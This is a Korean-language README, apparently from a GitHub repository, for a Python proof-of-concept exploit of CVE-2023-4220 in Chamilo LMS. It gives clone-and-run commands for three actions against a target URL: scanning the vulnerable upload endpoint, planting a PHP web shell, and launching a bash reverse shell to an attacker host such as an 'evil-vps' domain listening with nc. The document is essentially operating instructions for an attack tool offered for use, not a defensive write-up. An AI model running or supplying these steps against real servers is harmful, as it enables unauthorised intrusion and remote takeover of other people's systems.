m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc이것은 CVE-2023-4220에 설명된 Chamilo의 LMS 소프트웨어 보안 결함의 악용을 허용하는 Python으로 작성된 스크립트입니다.
이것은 CVE-2023-4220에 설명된 Chamilo의 LMS 소프트웨어 보안 결함을 악용할 수 있게 해주는 Python으로 작성된 스크립트입니다. 이 시스템은 1.11.24 이전 버전에서 취약합니다.
저장소를 머신에 클론하고 pip를 사용하여 의존성을 설치하십시오 (전역 설치와 분리된 환경을 만들기 위해 virtualenv를 사용하는 것이 좋습니다)
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt
이 스크립트는 Chamilo의 루트 경로가 포함된 대상 URL(예: http://example.com/chamilo, http://example.com 또는 **http://chamilo.example.com)**과 수행할 작업을 필요로 합니다. 사용 가능한 작업은 세 가지입니다: scan, webshell, revshell.
이 작업은 /main/inc/lib/javascript/bigupload/files/ 엔드포인트에 접근을 시도하여 대상이 취약한지 확인합니다.
python3 main.py -u http://example.com/chamilo -a scan
이 작업은 취약한 엔드포인트에 PHP 웹셸 파일을 생성합니다.
python3 main.py -u http://example.com/chamilo -a webshell
이 작업은 bash 리버스 셸 파일을 생성하고 실행합니다. 이를 위해 이전 작업에서 사용된 것과 동일한 방법으로 웹셸이 먼저 생성됩니다. 그 후, bash 파일을 생성하고 실행하기 위해 몇 가지 명령이 실행됩니다. nc 또는 다른 유틸리티로 정의한 포트에서 반드시 리슨하고 있어야 실제 리버스 연결을 받을 수 있습니다. 또한 호스트는 유효한 내부/공용 IPv4(예: 172.17.1.4 또는 186.227.4.31) 또는 등록한 도메인(예: evil-vps.domainreg.net)일 수 있습니다.
python3 main.py -u http://example.com/chamilo -a revshell
OBS: 곧 Windows 호스트를 위한 Windows 페이로드 옵션을 추가할 예정입니다.